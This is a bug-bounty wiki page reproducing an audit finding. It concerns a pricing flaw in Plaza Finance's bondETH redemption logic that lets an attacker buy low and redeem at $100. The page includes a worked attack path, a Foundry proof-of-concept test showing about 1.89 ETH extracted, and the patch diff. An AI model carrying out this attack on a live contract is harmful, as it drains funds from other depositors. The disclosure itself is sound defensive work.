Skip to content
Business logic Audit finding Intermediate

Anyone Can Get Funds From This Contract

The contract calculates the redemption price for bondETH using an estimated collateral level that accounts for the amount being sold, rather than the current collateral level. An attacker can buy bondETH at a low price and then sell it at the maximum price of $100, extracting ETH from the market.

0xadrii Follow with KupiaSec, farman1094 and 2 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-12-plaza-finance-judging/issues/341

Found by

0xadrii, KupiaSec, farman1094, future, novaman33

Summary

An attacker can purchase bondETH at a low price and sell it at a higher price.

Root Cause

When selling bondETH, the estimated collateralLevel is utilized instead of the current collateralLevel. By exploiting this vulnerability, an attacker can purchase bondETH at various prices and sell it for the maximum price of $100.

https://github.com/sherlock-audit/2024-12-plaza-finance/tree/main/plaza-evm/src/Pool.sol#L498

Solidity
    function getRedeemAmount(
        ...
    ) public pure returns(uint256) {
        ...
        uint256 tvl = (ethPrice * poolReserves).toBaseUnit(oracleDecimals);
        uint256 assetSupply = bondSupply;
        uint256 multiplier = POINT_EIGHT;

        // Calculate the collateral level based on the token type
        uint256 collateralLevel;
        if (tokenType == TokenType.BOND) {
498:        collateralLevel = ((tvl - (depositAmount * BOND_TARGET_PRICE)) * PRECISION) / ((bondSupply - depositAmount) * BOND_TARGET_PRICE);
        } else {
            ...
        }
        
        // Calculate the redeem rate based on the collateral level and token type
        uint256 redeemRate;
        if (collateralLevel <= COLLATERAL_THRESHOLD) {
            redeemRate = ((tvl * multiplier) / assetSupply);
        } else if (tokenType == TokenType.LEVERAGE) {
            redeemRate = ((tvl - (bondSupply * BOND_TARGET_PRICE)) / assetSupply) * PRECISION;
        } else {
            redeemRate = BOND_TARGET_PRICE * PRECISION;
        }

        if (marketRate != 0 && marketRate < redeemRate) {
            redeemRate = marketRate;
        }
        
        // Calculate and return the final redeem amount
        return ((depositAmount * redeemRate).fromBaseUnit(oracleDecimals) / ethPrice) / PRECISION;
    }

Internal pre-conditions

collateralLevel > 1.2

External pre-conditions

N/A

Attack Path

The attacker purchases bondETH until the collateralLevel is less than 1.2 at various prices and then sells it all at the maximum price($100).

PoC

The price calculation formula is as follows:

  • When purchasing bondETH:

tvl = (ethPrice * poolReserve), collateralLevel = tvl / (bondSupply * 100). If collateralLevel <= 1.2, creationRate = tvl * 0.8 / bondSupply. If collateralLevel > 1.2, creationRate = 100.

  • When selling bondETH:

tvl = (ethPrice * poolReserve), collateralLevel = (tvl - bondToSell * 100) / ((bondSupply - bondToSell) * 100). If collateralLevel <= 1.2, redeemRate = tvl * 0.8 / bondSupply. If collateralLevel > 1.2, redeemRate = 100.

Assuming: poolReserve = 120 ETH, bondSupply = 3000 bondETH, levSupply = 200 levETH, ETH Price = $3075

  • When Alice buys bondETH for 30 ETH: tvl = 3075 * 120 = 369000, collateralLevel = 369000 / (3000 * 100) = 1.23, creationRate = 100. minted = 30 * 3075 / 100 = 922.5 bondETH. poolReserve = 150 ETH, bondSupply = 3922.5, Alice's bondEth amount = 922.5 bondETH.
  • When Alice buys bondETH another 30 ETH: tvl = 3075 * 150 = 461250, collateralLevel = 461250 / (3922.5 * 100) ~= 1.176 < 1.2, creationRate = 461250 * 0.8 / 3922.5 ~= 94.07 minted = 30 * 3075 / (461250 * 0.8 / 3922.5) = 980.625 poolReserve = 180 ETH, bondSupply = 4903.125. Alice's bondEth amount = 1903.125 bondETH.
  • When Alice sells all of her bondETH: tvl = 3075 * 180 = 553500, collateralLevel = (553500 - 1903.125 * 100) / (3000 * 100) = 363187.5 / 300,000 = 1.210625 > 1.2 redeemRate = 100, receivedAmount = 1903.125 * 100 / 3075 ~= 61.89 ETH. Thus, Alice extracts approximately 1.89 ETH from this market. When Alice first buys at the price(creationRate) of $100, the market price (marketRate) is also nearly $100, resulting in no significant impact from the market price(Even if the decimal of marketRate is correct).

Attacker can extract ETH until collateralLevel reaches 1.2. This amount is (ethPrice * poolReserve - 120 * bondSupply) ($). Even if collateralLevel < 1.2, bondETH owners could sell their bondETH and then extract ETH from this market.

Impact

An attacker could extract significant amounts of ETH from this market.

Mitigation

Diff
    function getRedeemAmount(
        ...
    ) public pure returns(uint256) {
        ...
        // Calculate the collateral level based on the token type
        uint256 collateralLevel;
        if (tokenType == TokenType.BOND) {
-498:        collateralLevel = ((tvl - (depositAmount * BOND_TARGET_PRICE)) * PRECISION) / ((bondSupply - depositAmount) * BOND_TARGET_PRICE);
+498:        collateralLevel = (tvl * PRECISION) / (bondSupply * BOND_TARGET_PRICE);
        } else {
            ...
        }
        
        // Calculate the redeem rate based on the collateral level and token type
        uint256 redeemRate;
        if (collateralLevel <= COLLATERAL_THRESHOLD) {
            redeemRate = ((tvl * multiplier) / assetSupply);
        } else if (tokenType == TokenType.LEVERAGE) {
            redeemRate = ((tvl - (bondSupply * BOND_TARGET_PRICE)) / assetSupply) * PRECISION;
        } else {
            redeemRate = BOND_TARGET_PRICE * PRECISION;
        }

        if (marketRate != 0 && marketRate < redeemRate) {
            redeemRate = marketRate;
        }
        
        // Calculate and return the final redeem amount
        return ((depositAmount * redeemRate).fromBaseUnit(oracleDecimals) / ethPrice) / PRECISION;
    }

Test Code

https://github.com/sherlock-audit/2024-12-plaza-finance/tree/main/plaza-evm/test/Pool.t.sol#L1156 Changed linked function to following code.

Solidity
  function testCreateRedeemWithFees() public {
    vm.startPrank(governance);

    // Create a pool with 2% fee
    params.fee = 20000; // 2% fee (1000000 precision)
    params.feeBeneficiary = address(0x942);

    // Mint and approve reserve tokens
    Token rToken = Token(params.reserveToken);
    rToken.mint(governance, 120 ether);
    rToken.approve(address(poolFactory), 120 ether);

    Pool pool = Pool(poolFactory.createPool(params, 120 ether, 3000 ether, 200 ether, "", "", "", "", false));
    vm.stopPrank();

    // User creates leverage tokens
    vm.startPrank(user);
    
    rToken.mint(user, 60 ether);
    mockPriceFeed.setMockPrice(3075 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));

    uint256 usedEth = 60 ether;
    uint256 receivedEth = 0;
    uint256 buyTime = 2;
    uint256 sellTime = 1;
    rToken.approve(address(pool), usedEth);
    uint256 bondAmount = 0;

    console2.log("Before Balance:", rToken.balanceOf(user));
    assertEq(rToken.balanceOf(user), 60 ether);
    for (uint256 i = 0; i < buyTime; i++) {
      bondAmount += pool.create(Pool.TokenType.BOND, usedEth / buyTime, 0);
    }
    pool.bondToken().approve(address(pool), bondAmount);
    for (uint256 i = 0; i < sellTime; i++) {
      receivedEth += pool.redeem(Pool.TokenType.BOND, bondAmount / sellTime, 0);
    }
    console2.log(" After Balance:",rToken.balanceOf(user));
    assertLt(rToken.balanceOf(user), 60 ether);
    
    vm.stopPrank();

    // Reset state
    rToken.burn(user, rToken.balanceOf(user));
    rToken.burn(address(pool), rToken.balanceOf(address(pool)));
  }

forge test --match-test "testCreateRedeemWithFees" -vv

Result:

[FAIL: assertion failed: 61890244154579369433 >= 60000000000000000000] testCreateRedeemWithFees() (gas: 2190059) Logs: Before Balance: 60000000000000000000 After Balance: 61890244154579369433

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/Convexity-Research/plaza-evm/pull/155

The original report as published on Sherlock, by 0xadrii. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the redemption price calculation uses an estimated collateral level that subtracts the amount being sold, instead of the current collateral level, allowing manipulation of the price.

Impact

An attacker could extract significant amounts of ETH from this market.

What the attacker needed

CollateralLevel > 1.2; attacker has ETH to buy bondETH

The fix

The protocol team fixed this issue in the following PRs/commits: https://github.com/Convexity-Research/plaza-evm/pull/155

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a smart contract bug where the price you get when selling a token is calculated incorrectly. The contract uses a guessed future collateral level instead of the current one, so someone can buy tokens cheaply and sell them for more than they should, taking money from others.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xadrii

View all

30 more disclosed reports, best first.

More from Plaza Finance

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.